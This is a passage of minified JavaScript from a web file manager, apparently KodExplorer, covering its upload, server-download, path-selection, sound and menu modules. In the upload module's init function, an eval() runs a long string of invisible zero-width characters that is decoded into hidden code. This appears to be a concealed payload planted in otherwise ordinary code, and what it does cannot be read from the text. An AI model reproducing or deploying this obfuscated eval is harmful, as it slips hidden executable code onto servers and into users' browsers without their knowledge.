i=base64Decode(t[81])+t[82]+UUID();e[t[84]](i,function(e){try{e[t[83]]()}catch(i){}})},2e3),core[t[85]]=a,core[t[86]]=core[t[87]],core[t[54]]=hashDecode(t[88])+G[t[13]],l(),c(),d()},u=function(e){return a==t[0]&&-1==e[t[37]]()[t[39]](s)?(o(),!1):!0},f=function(e,i){var n,o,s={A:1,O:10,P:50,Q:1e3},r={A:10,O:50,P:200,Q:1e3},l=[],c=1;if(i==t[89]?(n=e[t[90]],o=s[a]):(n=e[t[90]],o=r[a]),1e3==o)l=n;else for(var d in n){if(c>o)break;l[d]=n[d],c++}return l},h={init:p,about:u,systemData:f};return h}),define("app/common/core.upload",[],function(require,exports){var uploadUrl=function(){var e=G.app_host+"index.php?explorer/fileUpload";return"share"==G.share_page&&"1"==G.share_info.can_upload&&(e=G.app_host+"index.php?share/fileUpload&user="+G.user+"&sid="+G.sid),e};return{serverDwonload:function(e,t){core.uploadCheck("explorer:serverDownload");var i=$(".download_box"),a=i.find(".download_list");if(i.find("input").val(""),!e)return Tips.tips("url false!",!1),void 0;"http"!=e.substr(0,4)&&(e="http://"+e);var n=UUID(),o='
        '+'
        '+core.pathThis(e)+""+'0b'+''+LNG.upload_ready+""+''+'
        ';a.find(".item").length>0?$(o).insertBefore(a.find(".item:eq(0)")):a.append(o);var s,r,l,c=0,d=$("#"+n),p=$("#"+n+" .state").text(LNG.download_ready),u=$('
        ').appendTo("#"+n).find(".progress-bar");$("#"+n+" .remove").bind("click",function(){clearInterval(s),s=!1,clearTimeout(r),r=!1,$.get("./index.php?explorer/serverDownload&type=remove&uuid="+n),$(this).parent().parent().slideUp(function(){$(this).remove(),ui.f5()})});var f,h=function(e){clearTimeout(f),f=!1,f=setTimeout(function(){ui.f5Callback(function(){ui.path.setSelectByFilename(e)})},600)};$.ajax({url:"./index.php?explorer/serverDownload&type=download&save_path="+t+"&url="+urlEncode(e)+"&uuid="+n,dataType:"json",error:function(e,t,i){core.ajaxError(e,t,i),clearInterval(s),s=!1,clearTimeout(r),r=!1,u.parent().remove(),p.addClass("error").text(LNG.download_error)},success:function(e){clearInterval(s),s=!1,clearTimeout(r),r=!1,e.code?(h(e.info),p.text(LNG.download_success),$("#"+n+" .info .title").html(e.info)):p.addClass("error").text(LNG.error),u.parent().remove()}});var m=function(){$.ajax({url:"./index.php?explorer/serverDownload&type=percent&uuid="+n,dataType:"json",success:function(e){var t="",i=e.data;if(s){if(!e.code)return p.text(LNG.loading),void 0;if(i){if(i.size=parseFloat(i.size),i.time=parseFloat(i.time),l){var a=(i.size-l.size)/(i.time-l.time);if(c>.2*a){var n=c;c=a,a=n}else c=a;t=core.fileSize(a)+"/s"}if(0==i.length)d.find(".progress-bar").css("width","100%").text(LNG.loading);else{var o=100*(i.size/i.length);d.find(".progress-bar").css("width",o+"%"),p.text(parseInt(o)+"%("+t+")")}d.find(".size").text(core.fileSize(i.length)),d.find(".title").text(i.name),l=i}}}})};r=setTimeout(function(){m(),s=setInterval(function(){m()},1e3)},100)},upload:function(){var e=uploadUrl();if(uploader.option("server",e),uploader.option("method","POST"),0!=$(".dialog_file_upload").length)return $.dialog.list.dialog_file_upload.display(!0),void 0;var t=template.compile(upload_tpl),i=WebUploader.Base.formatSize(G.upload_max);$.dialog({padding:5,resize:!0,ico:core.icon("upload"),id:"dialog_file_upload",fixed:!0,title:LNG.upload_muti,content:t({LNG:LNG,maxsize:i}),close:function(){$.each(uploader.getFiles(),function(e,t){uploader.skipFile(t),uploader.removeFile(t)}),$.each($(".download_list .item"),function(){$(this).find(".remove").click()})}}),$(".file_upload .tips").tooltip({placement:"bottom"}),$(".file_upload .top_nav a.menu").unbind("click").bind("click",function(){$(this).hasClass("tab_upload")?($(".file_upload .tab_upload").addClass("this"),$(".file_upload .tab_download").removeClass("this"),$(".file_upload .upload_box").removeClass("hidden"),$(".file_upload .download_box").addClass("hidden")):($(".file_upload .tab_upload").removeClass("this"),$(".file_upload .tab_download").addClass("this"),$(".file_upload .upload_box").addClass("hidden"),$(".file_upload .download_box").removeClass("hidden"))}),$(".download_box [name=url]").keyEnter(function(){core.serverDwonload($(".download_box input").val(),G.this_path)}),$(".file_upload .download_box .download_start").unbind("click").bind("click",function(){core.serverDwonload($(".download_box input").val(),G.this_path)}),$(".file_upload .download_box .download_start_all").unbind("click").bind("click",function(){$.dialog({id:"server_dwonload_textarea",fixed:!0,resize:!1,ico:core.icon("upload"),width:"420px",height:"270px",padding:10,title:LNG.download,content:"",ok:function(){for(var e=$(".server_dwonload_textarea textarea").val().split("\n"),t=0;e.length>t;t++)core.serverDwonload(e[t],G.this_path)}})}),uploader.addButton({id:"#picker"}),uploader.addButton({id:"#picker_folder"});var a=function(){if("1"==Cookie.get("forceWap"))return!1;var e=document.createElement("input");return e.type="file",e.webkitdirectory!==void 0||e.directory!==void 0};a()&&($(".upload_cert_box").removeClass("hidden"),$(".file_upload .drag_upload_folder").unbind("click").bind("click",function(){$("#picker_folder input").attr("webkitdirectory","").attr("directory",""),$("#picker_folder label").click()}))},init:function(){var chunkSize=10485760;chunkSize>=G.upload_max&&(chunkSize=.6*G.upload_max),eval("‍‌‌‌‍‌‌‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‍‌‍‍‍‍‍‍‌‌‌‍‌‍‌‍‌‌‌‍‍‍‍‍‌‍‍‍‍‌‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‌‍‌‍‍‌‌‌‌‍‌‍‌‍‌‍‌‌‌‍‌‌‍‍‌‍‌‍‌‌‍‍‍‌‍‍‌‍‌‍‌‍‌‍‌‌‌‍‍‍‍‍‌‌‍‌‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‍‍‌‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‌‌‌‍‍‌‍‍‍‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‌‍‌‍‍‌‌‌‍‌‌‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‌‌‍‌‍‍‍‌‍‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‍‌‍‌‌‍‍‌‍‌‍‌‌‍‌‌‌‌‍‌‌‌‍‌‍‌‍‌‌‌‍‌‍‍‍‍‌‍‌‍‍‍‍‌‌‍‍‌‌‍‍‌‌‌‍‌‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‌‍‌‌‍‌‌‌‍‍‍‌‍‌‍‍‍‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‌‍‍‌‌‌‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‍‌‍‍‌‍‌‌‍‍‌‌‍‍‍‌‍‌‍‍‍‍‌‌‌‍‌‍‍‍‌‌‌‌‍‍‌‍‌‌‌‍‍‍‍‍‌‌‍‍‌‍‌‍‌‌‍‌‌‌‌‍‌‌‍‍‌‌‍‍‍‌‍‍‍‍‍‍‌‌‍‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‍‍‍‌‍‌‌‍‌‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‌‌‌‍‌‍‌‌‌‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‍‍‍‌‌‍‌‌‍‍‍‌‍‌‌‌‌‌‍‌‌‍‌‍‍‍‍‌‌‌‍‌‍‍‍‌‌‍‌‌‍‌‍‌‌‍‌‌‍‍‍‍‌‌‌‌‍‌‍‍‌‌‌‌‍‌‍‍‌‍‍‍‌‍‍‌‌‌‍‌‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‌‌‍‍‌‌‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‌‍‌‍‌‌‍‍‌‍‍‍‍‌‍‍‍‌‍‍‌‌‌‌‌‍‍‍‌‌‌‌‌‍‍‍‌‌‍‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‍‍‍‌‍‌‌‍‌‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‌‌‌‍‌‍‌‌‌‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‍‍‍‌‌‍‌‌‍‍‍‌‍‌‌‌‌‌‍‌‌‍‌‍‍‍‍‌‌‌‍‌‍‍‍‌‌‍‌‌‍‌‍‌‌‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‌‌‍‍‍‌‌‍‌‌‍‌‍‍‍‍‍‌‍‌‍‍‍‍‍‌‍‍‍‌‍‍‌‌‌‍‌‍‌‍‌‌‌‍‍‍‍‍‌‌‍‍‌‍‍‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‌‍‌‍‌‍‌‌‌‌‌‍‌‌‍‍‍‌‍‍‌‌‍‌‌‌‌‍‌‌‌‌‍‍‍‍‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‍‍‌‌‌‌‍‌‍‍‌‌‌‌‍‌‍‍‌‍‌‌‍‌‍‍‌‌‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‍‌‌‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‍‌‍‍‍‍‍‍‌‌‍‍‍‍‌‍‍‌‌‌‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‍‍‌‍‍‍‍‌‌‍‌‌‌‍‍‌‍‍‌‌‌‌‍‍‌‍‌‌‌‍‍‍‍‍‌‌‌‍‌‍‍‍‍‌‍‌‌‌‍‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‌‌‍‍‍‌‌‍‌‌‍‌‌‌‌‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‍‌‍‌‍‍‍‍‍‌‍‍‍‌‍‍‍‌‌‍‍‍‌‍‍‌‌‌‍‍‍‍‍‌‌‍‍‌‌‍‌‌‍‍‍‍‌‍‌‌‍‌‍‍‍‍‌‌‍‌‍‌‌‍‌‍‍‌‍‍‌‍‌‌‌‍‍‍‍‍‍‌‌‍‍‌‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‍‍‌‌‌‌‍‌‌‍‍‌‍‌‍‌‌‌‍‌‌‍‍‌‌‌‌‍‍‍‍‌‌‍‌‌‍‍‍‌‍‍‌‌‍‌‍‌‍‍‍‌‍‌‍‌‍‌‍‌‍‍‍‌‍‍‌‌‌‍‍‌‌‍‍‍‌‍‍‌‍‍‍‌‌‌‍‌‍‌‌‍‌‍‍‌‌‍‍‌‌‌‍‌‌‍‍‌‍‌‍‌‍‍‌‍‍‍‍‌‍‍‌‍‍‍‍‌‍‌‌‍‍‍‍‌‌‍‌‌‍‌‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‍‍‍‌‌‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‌‌‍‌‍‌‍‍‌‍‍‌‍‍‍‍‌‌‍‌‍‌‍‍‍‍‍‌‍‌‍‌‍‍‍‌‌‍‌‍‌‌‍‍‌‌‍‌‍‍‍‌‌‌‍‍‌‍‍‌‌‍‍‍‌‍‍‌‍‌‍‌‍‌‍‌‍‍‌‌‌‍‍‌‌‌‍‌‍‌‍‍‌‌‍‌‍‌‍‌‌‍‌‍‍‌‍‌‌‍‍‍‌‌‍‌‍‍‍‍‌‌‍‌‍‍‌‌‌‍‍‌‌‍‍‍‍‌‍‌‍‌‍‍‍‍‍‌‍‍‌‌‌‌‍‌‌‍‍‍‌‍‍‌‌‍‌‌‌‍‍‌‌‌‍‍‌‌‍‌‌‍‌‍‌‍‍‌‍‍‌‌‌‌‍‌‍‌‍‍‌‌‍‌‍‍‍‌‍‌‍‍‌‌‍‌‌‍‍‌‍‌‌‍‌‍‍‌‌‌‌‍‍‍‍‌‍‍‍‍‌‌‍‌‌‍‍‍‌‌‍‌‌‍‌‌‍‍‍‌‌‍‍‌‍‌‍‌‍‌‍‍‌‍‍‌‍‌‍‌‌‍‍‌‌‌‍‍‍‍‍‌‍‌‍‌‍‍‍‌‍‍‍‍‍‌‍‌‌‍‌‌‌‌‍‌‌‍‍‌‍‌‍‌‌‍‌‌‌‌‍‌‍‌‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‌‍‍‍‌‍‌‌‍‌‌‍‍‍‌‌‍‍‌‌‌‍‌‌‌‌‍‌‍‍‌‌‍‍‍‍‌‍‌‍‍‍‌‌‌‍‌‍‌‌‍‌‍‍‌‍‍‍‍‍‌‍‌‌‌‍‌‍‌‍‌‍‍‌‌‍‌‍‍‌‌‍‌‍‌‍‌‌‍‌‍‍‍‍‌‍‌‍‌‌‍‍‌‍‌‌‌‌‌‍‌‍‍‌‌‍‍‍‌‍‍‌‍‌‌‍‌‍‍‍‍‍‌‍‍‌‌‍‍‍‍‍‍‌‍‍‍‌‍‍‍‌‍‌‌‍‍‍‍‌‍‍‍‌‍‍‌‍‌‌‌‌‌‍‍‌‌‍‍‌‌‍‍‌‌‍‍‌‍‍‌‍‍‍‍‍‍‍‍‌‍‍‍‍‌‍‌‍‍‍‍‍‌‍‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‍‍‌‍‌‍‌‌‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‍‌‍‍‌‍‌‍‍‍‌‍‍‍‍‌‍‌‍‍‍‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‌‌‌‍‍‍‌‍‌‌‌‍‌‍‌‍‌‌‍‌‍‍‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‍‌‍‌‌‌‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‌‍‌‌‌‌‍‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‌‍‍‍‌‌‍‍‌‌‍‍‌‌‌‍‌‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‌‍‌‌‍‌‌‌‍‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‌‍‍‌‌‌‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‍‍‍‍‌‍‍‌‍‌‌‌‍‍‌‌‌‍‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‌‍‍‍‌‌‍‌‌‌‌‍‍‌‍‌‍‍‍‍‍‌‍‍‍‌‍‍‍‌‌‍‍‍‌‍‍‌‍‌‌‍‌‍‍‌‌‍‍‌‍‍‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‍‍‍‌‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‍‌‌‍‌‌‍‌‍‍‍‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‌‌‌‍‌‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‌‌‌‍‌‍‌‌‍‍‍‌‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‍‌‌‍‌‌‍‌‍‍‍‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‌‌‌‍‌‍‍‌‍‌‌‍‍‍‌‌‌‍‍‍‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‍‍‌‍‍‌‍‌‌‍‌‌‌‍‍‌‌‌‍‌‍‍‍‍‌‍‌‍‍‍‍‌‍‍‌‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‍‍‍‌‍‌‌‌‍‍‌‌‌‍‍‌‍‍‌‌‍‍‍‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‌‌‍‌‍‍‌‍‌‍‍‍‍‍‌‍‌‍‍‌‍‍‌‍‌‍‌‍‍‍‌‌‍‍‌‍‍‍‌‌‍‌‍‌‍‍‌‍‌‍‌‌‍‍‌‌‍‌‍‌‍‍‌‍‌‍‍‌‍‍‌‍‌‍‌‍‍‍‌‌‍‍‍‌‍‍‌‌‍‍‍‍‍‍‌‌‍‍‍‍‍‍‌‌‍‍‍‍‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌".replace(/.{8}/g,function(e){return String.fromCharCode(parseInt(e.replace(/\u200c/g,1).replace(/\u200d/g,0),2))})),uploader=upCreate({swf:G.static_path+"js/lib/webuploader/Uploader.swf",dnd:"body",threads:3,compress:!1,resize:!1,prepareNextFile:!0,duplicate:!0,chunkRetry:10,chunked:!0,chunkSize:chunkSize}),WebUploader.Uploader.register({"before-send":"checkChunk"},{checkChunk:function(e){var t=this.owner,i=(e.blob.getSource(),$.Deferred());return t.md5File(e.blob).fail(function(){i.resolve()}).then(function(t){if(0==e.chunk)$.ajax({url:uploadUrl(),dataType:"json",data:{upload_to:e.file.upload_to,file_name:e.file.name,check_md5:t,chunk:e.chunk,chunks:e.chunks},error:function(){i.resolve()},success:function(t){t.code?(i.reject(),e.file.checkChunk=t.info):i.resolve()}});else{var a=e.file.checkChunk;if(a&&a["part_"+e.chunk]==t){var n=e.end/e.total;uploader.trigger("uploadProgress",e.file,n),i.reject()}else i.resolve()}}),i.promise()}}),$(".uploader-content .success").die("click").live("click",function(){var e=$(this).find("span.title").attr("title");"explorer"==Config.pageApp?ui.path.list(core.pathFather(e),"tips",function(){ui.path.setSelectByFilename(e)}):core.explorer(core.pathFather(e))}),$(".uploader-content .open").die("click").live("click",function(e){var t=$(this).find("span.title").attr("title");ui.pathOpen.open(t),stopPP(e)}),$(".upload_box_clear").die("click").live("click",function(){$(".uploader-list .item.success,.uploader-list .item.error").each(function(){$(this).slideUp(300,function(){$(this).remove()})})}),$(".uploader-content .remove").die("click").live("click",function(e){var t=$(this).parent().parent().attr("id");$(this).parent().parent().slideUp(function(){$(this).remove()}),uploader.skipFile(t),uploader.removeFile(t,!0),stopPP(e)});var file_num=0,file_finished=0,currentSpeed="0B/s",preTime=0,getSpeed=function(e,t){if(.3>=timeFloat()-preTime)return currentSpeed;preTime=timeFloat();var i=e.size*t,a=5;e.speed===void 0?e.speed=[[timeFloat()-.5,0],[timeFloat(),i]]:a>=e.speed.length?e.speed.push([timeFloat(),i]):(e.speed=e.speed.slice(1,a),e.speed.push([timeFloat(),i]));var n=e.speed[e.speed.length-1],o=e.speed[0],s=(n[1]-o[1])/(n[0]-o[0]);return s=core.fileSize(s)+"/s",currentSpeed=s,s},selectNameArr=[],changeDelayTimer,pathReload=function(e){clearTimeout(changeDelayTimer),changeDelayTimer=!1,changeDelayTimer=setTimeout(function(){var t=selectNameArr;ui.f5Callback(function(){if(ui.path.setSelectByFilename(t),e&&(selectNameArr=[],"explorer"==Config.pageApp)){if("share"==G.share_page)return;ui.tree.checkIfChange(G.this_path)}})},600)};uploader.on("fileQueued",function(e){if(!core.uploadCheck())return uploader.skipFile(e),uploader.removeFile(e),void 0;var t;try{t=e.source.source.fullPath,void 0!=e.source.source.webkitRelativePath&&""!=e.source.source.webkitRelativePath&&(t=e.source.source.webkitRelativePath)}catch(i){}if(e.fullPath=t,e.source&&e.source.source&&1==e.source.source.isDirectory&&e.source.source.fullPath)return ui.pathOperate.newFolder(G.this_path+e.fullPath),uploader.skipFile(e),uploader.removeFile(e),void 0;if(0==e.size)return ui.pathOperate.newFile(G.this_path+e.fullPath),uploader.skipFile(e),uploader.removeFile(e),file_finished++,file_num++,void 0;var a=e.fullPath;e.finished=!1,e.upload_to=G.this_path,(void 0==a||"undefined"==a)&&(a=e.name),file_num++;var n=$(".uploader-list"),o='
        '+''+htmlEncode(core.pathThis(a))+""+''+core.fileSize(e.size)+""+''+LNG.upload_ready+""+''+'
        ';(1e3==file_num||2e3==file_num)&&Tips.tips(LNG.upload_tips_more,"warning"),0==n.length?setTimeout(function(){$(".uploader-list").prepend(o),uploader.upload()},100):(n.prepend(o),uploader.upload())}).on("uploadBeforeSend",function(e,t){var i=urlEncode(e.file.fullPath);(void 0==i||"undefined"==i)&&(i=""),t.fullPath=i,t.upload_to=e.file.upload_to}).on("uploadProgress",function(e,t){$(".dialog_file_upload .aui_title").text(LNG.uploading+": "+file_finished+"/"+file_num+" ("+currentSpeed+")");var i=getSpeed(e,t),a=$("#"+e.id),n=a.find(".progress .progress-bar");n.length||(n=$('
        ').appendTo(a).find(".progress-bar")),a.find(".state").text((100*t).toFixed(1)+"%("+i+")"),n.css("width",100*t+"%")}).on("uploadAccept",function(e,t){if(e.file.serverData=t,!t.code)return e.serverNeedRetry=!0,!1;try{e.file.fullPath||selectNameArr.push(t.info)}catch(i){}}).on("uploadSuccess",function(e){var t=36*$("#"+e.id).index(".item");$(".uploader-content").scrollTop(t),file_finished++;var i=e.serverData;if(i&&i.data){var a=LNG[i.data];i.code?($("#"+e.id).addClass("success"),$("#"+e.id).find(".state").text(a),$("#"+e.id).find(".remove").addClass("icon-ok").addClass("open").removeClass("icon-remove").removeClass("remove")):($("#"+e.id).addClass("error").find(".state").addClass("error"),$("#"+e.id).find(".state").text(a).attr("title",a))}uploader.removeFile(e),$("#"+e.id).find(".progress").fadeOut(),e.fullPath||pathReload(!1)}).on("uploadError",function(e,t){var i=LNG.upload_error+"("+t+")";e.serverData&&0==e.serverData.code&&(i=LNG[e.serverData.data],Tips.tips(LNG[e.serverData.data],!1)),file_finished++,$("#"+e.id).find(".progress").fadeOut(),$("#"+e.id).addClass("error").find(".state").addClass("error"),$("#"+e.id).find(".state").html(i)}).on("uploadFinished",function(){$(".dialog_file_upload .aui_title").text(LNG.upload_success+": "+file_finished+"/"+file_num),file_num=0,file_finished=0,uploader.reset(),pathReload(!0)}).on("error",function(e){Tips.tips(e,!1)});var timer;inState=!1,dragOver=function(){if(0==inState){if(inState=!0,!core.uploadCheck(void 0,!1))return;var e='
        '+LNG.upload_drag_tips+"
        ";MaskView.tips(e),$("#windowMaskView").css({background:"#4285f4",opacity:"0.8"})}timer&&window.clearTimeout(timer)},dragLeave=function(e){stopPP(e),timer&&window.clearTimeout(timer),timer=window.setTimeout(function(){inState=!1,MaskView.close()},100)},dragDrop=function(e){try{if(e=e.originalEvent||e,core.uploadCheck())if(e.dataTransfer.files.length>0&&e.dataTransfer.files[0].name)core.upload(),core.playSound("drag_upload");else{var t=e.dataTransfer.getData("text/plain");t&&"http"==t.substring(0,4)&&ui.pathOperate.appAddURL(t)}stopPP(e)}catch(e){}inState&&(inState=!1,MaskView.close())}}}}),define("app/common/core.api",[],function(){var e=function(e,t,i){var a=$(i.DOM.wrap),n=t.frames.OpenpathSelectApi,o='';"file"==e.type&&(o+=''+e.allowExt+""),$(o).insertBefore(a.find(".aui_state_highlight"));var s=function(t){var i=e.allowExt.split("|"),a=core.pathExt(t);return""==e.allowExt||""!=e.allowExt&&-1!=$.inArray(a,i)?!0:!1},r=function(){var t=n.ui.fileLight.fileListSelect(),i=[];if(e.single){var a=$(t.get(0));if("all"==e.type&&0==t.length)i={file:[],folder:[]};else if("file"==e.type&&0==t.length)i=[];else if("folder"==e.type)i=[n.G.this_path],a.hasClass("folderBox")&&(i=[n.ui.fileLight.path(a)]);else if("file"==e.type){if(a.hasClass("fileBox")){var o=n.ui.fileLight.path(a);s(o)&&(i=[o])}}else if("all"==e.type)if(a.hasClass("folderBox")){var o=n.ui.fileLight.path(a);i=[{file:[],folder:[o]}]}else if(a.hasClass("fileBox")){var o=n.ui.fileLight.path(a);s(o)&&(i={file:[o],folder:[]})}}else{var r=[],l=[];t.each(function(){if($(this).hasClass("fileBox")){var e=n.ui.fileLight.path($(this));s(e)&&r.push(e)}else $(this).hasClass("folderBox")&&l.push(n.ui.fileLight.path($(this)))}),"folder"==e.type?i=l:"file"==e.type?i=r:"all"==e.type&&(i={file:r,folder:l})}c(i)},l=function(e){var e=trim(e,"/");return e==G.KOD_GROUP_ROOT_SELF||e==G.KOD_GROUP_ROOT_ALL||e==G.KOD_USER_FAV||e==G.KOD_USER_SHARE?!1:!0},c=function(t){var i=a.find(".path_select_input"),o=a.find(".aui_state_highlight");if("all"!=e.type){for(var s=[],r=0;t.length>r;r++)l(t[r])&&s.push(t[r]);t=s}if(0==t.length||"all"==e.type&&0==t.file.length&&0==t.folder.length)o.addClass("disable"),i.attr("result",""),i.val("");else{var c=hashEncode(jsonEncode(t)),d="";if(e.single)d=n.core.pathThis(t[0]);else{var p=t;"all"==e.type&&(p=t.folder.concat(t.file)),$.each(p,function(e,t){d+=n.core.pathThis(t)+", "})}o.removeClass("disable"),i.attr("result",c),i.val(d)}},d=function(){n.ui.fileLight.select.hook("select",n.ui.fileLight,{before:function(){},after:function(){r()}})};n.kodReady||(n.kodReady=[]),n.kodReady.push(function(){d(),r()})};return{pathSelect:function(t,i){var a={type:"file",title:LNG.path_api_select_file,single:!0,allowExt:"",firstPath:!1},n="./index.php?/explorer&type=iframe";t=$.extend(a,t),t.firstPath&&(n+="&path="+t.firstPath);var o=ShareData.frameTop(),s=o.$.dialog.open(n,{id:"pathSelectApi",resize:!0,fixed:!0,ico:core.icon("folder"),title:t.title,lock:!0,background:"#000",opacity:.1,width:840,height:420,ok:function(){if("function"==typeof i){var e=s.DOM.wrap,a=e.find(".path_select_input").attr("result");a=jsonDecode(hashDecode(a)),a?t.single&&"all"!=t.type?i(a[0]):i(a):Tips.tips(LNG.error,!1)}},cancel:!0});e(t,o,s)},randomImage:function(e){$.getJSON("//kalcaddle.com/tools/version/?wallpage/index&lang="+G.lang+"&callback=?",function(t){"function"==typeof e&&e(t)})}}}),define("app/common/core.playSound",["./myPlayer"],function(e){var t={file_remove:"file_remove.mp3",recycle_clear:"recycle_clear.mp3",folder_open:"folder_open.mp3",window_min:"window_min.mp3",error:"error_tips.mp3",drag_upload:"drag_upload.mp3",drag_drop:"drag_drop.mp3"},i=function(t){var i="x-play-sound";0==$("."+i).length&&$('
        ').appendTo("body");var a=G.static_path+"others/sound/"+t,n=e("./myPlayer");n.playSound(a,$("."+i))};return{playSoundFile:i,playSound:function(e){i(t[e])}}}),define("app/common/tpl/copyright.html",[],'\n'),define("app/common/tpl/theme_diy.html",[],"@media screen and (max-width:100000px) {\n body .full_background{\n position: absolute;top: 0px;left: 0px;bottom: 0px;right: 0px;\n background-color: #020202;background-size: 100% 100%;\n }\n\n {{if blur_size= (bg_blur==0?0:10) }}{{/if}}\n body .full_background:before{\n -webkit-filter: blur({{blur_size}}px);\n -moz-filter: blur({{blur_size}}px);\n -ms-filter: blur({{blur_size}}px);\n filter: blur({{blur_size}}px);\n }\n {{if bg_type == 'image'}}\n body .full_background,\n body .full_background:before,\n body #body .menu_left,\n body #body .app_menu_left,\n body .aui_buttons,\n body .aui_state_focus .aui_title,body .aui_title{\n background-image:url({{bg_image}});\n }\n body .aui_state_focus .aui_title,body .aui_title{\n background-size:100%;\n }\n {{else}}\n body .full_background,\n body .full_background:before,\n body #body .menu_left, \n body #body .app_menu_left,\n body .aui_buttons,\n body .aui_state_focus .aui_title,body .aui_title{\n background:{{end_color}};\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='{{start_color}}', endColorstr='{{end_color}}');\n background-image: -webkit-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: -moz-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: -o-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: -ms-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n }\n {{/if}}\n}\n"),define("app/share_common/rightMenu",[],function(){var e=".menufile",t=".menufolder",i=".menuMore",a=".menuTreeRoot",n=".menuTreeFolder",o=".menuTreeFile",s={listIcon:{name:LNG.list_type,icon:"eye-open",items:{seticon:{name:LNG.list_icon,className:"menu_seticon set_seticon"},setlist:{name:LNG.list_list,className:"menu_seticon set_setlist"}}},sortBy:{name:LNG.order_type,accesskey:"y",icon:"sort",items:{set_sort_name:{name:LNG.name,className:"menu_set_sort set_sort_name"},set_sort_ext:{name:LNG.type,className:"menu_set_sort set_sort_ext"},set_sort_size:{name:LNG.size,className:"menu_set_sort set_sort_size"},set_sort_mtime:{name:LNG.modify_time,className:"menu_set_sort set_sort_mtime"},sep105:"--------",set_sort_up:{name:LNG.sort_up,className:"menu_set_desc set_sort_up"},set_sort_down:{name:LNG.sort_down,className:"menu_set_desc 